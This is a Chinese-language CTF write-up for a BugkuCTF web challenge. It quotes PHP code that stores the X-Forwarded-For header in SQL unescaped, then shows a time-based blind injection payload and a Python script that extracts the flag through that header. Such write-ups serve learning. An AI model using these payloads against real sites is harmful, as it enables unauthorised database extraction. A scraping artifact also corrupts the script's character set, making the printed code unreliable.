SQL基於時間的盲注(BUGKUCTF)
阿新 • • 發佈:2018-11-26
這篇只是為了讓我自己做個記錄
在進行一個BUGKU的ctf:http://123.206.87.240:8002/web15/
題目給出了原始碼:
error_reporting(0); function getIp(){ $ip = ''; if(isset($_SERVER['HTTP_X_FORWARDED_FOR'])){ $ip = $_SERVER['HTTP_X_FORWARDED_FOR']; }else{ $ip = $_SERVER['REMOTE_ADDR']; } $ip_arr = explode(',', $ip); return $ip_arr[0]; } $host="localhost"; $user=""; $pass=""; $db=""; $connect = mysql_connect($host, $user, $pass) or die("Unable to connect"); mysql_select_db($db) or die("Unable to select database"); $ip = getIp(); echo 'your ip is :'.$ip; $sql="insert into client_ip (ip) values ('$ip')"; mysql_query($sql);
1、首先訪問一下,看到就是原始碼裡的功能,從header中獲取你的ip
2、看看程式碼
$sql=“insert into client_ip (ip) values (’$ip’)”;
將ip插入到資料庫中。
$ip_arr = explode(’,’, $ip);
這裡已經把逗號去掉了。所以之後的利用不能使用逗號。
substr(,,) 這個不行了
這裡用case when then else end。
思路:然後我們可以將values中的ip先閉合,然後執行其他程式碼。
先預測一波flag在flag表中的flag欄位中。猜flag的長度。
利用:
1’ and (case when (length((select group_concat(flag) from flag))=32) then sleep(3) else 1 end))#
如果延遲了3秒後才刷新出網頁說明長度正確。這裡可以用python直接跑一下。
這裡直接用burpsuit得出為32.,然後接下來用python跑一下flag吧。
import requests
if __name__ == '__main__':
url = "http://123.206.87.240:8002/web15/"
data = "1' and (case when (substr((select group_concat(flag) from flag) from {0} for 1)='{1}') then sleep(3) else 1 end))#"
#data_cd = "1' and (case when ((select length(flag) from flag)={0}) then sleep(3) else 1 end))#" 爆長度
flag = ""
for i in range(1,32):
for str1 in "0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ, [email protected]#$%^&*.":
try:
header = {'X-Forwarded-For': data.format(str(i),str1)}
requests.get(url, headers=header, timeout=2)
except requests.exceptions.ReadTimeout:
flag += str1
print flag
break
print "flag{"+flag+"}"
成功得出結果。
by pandar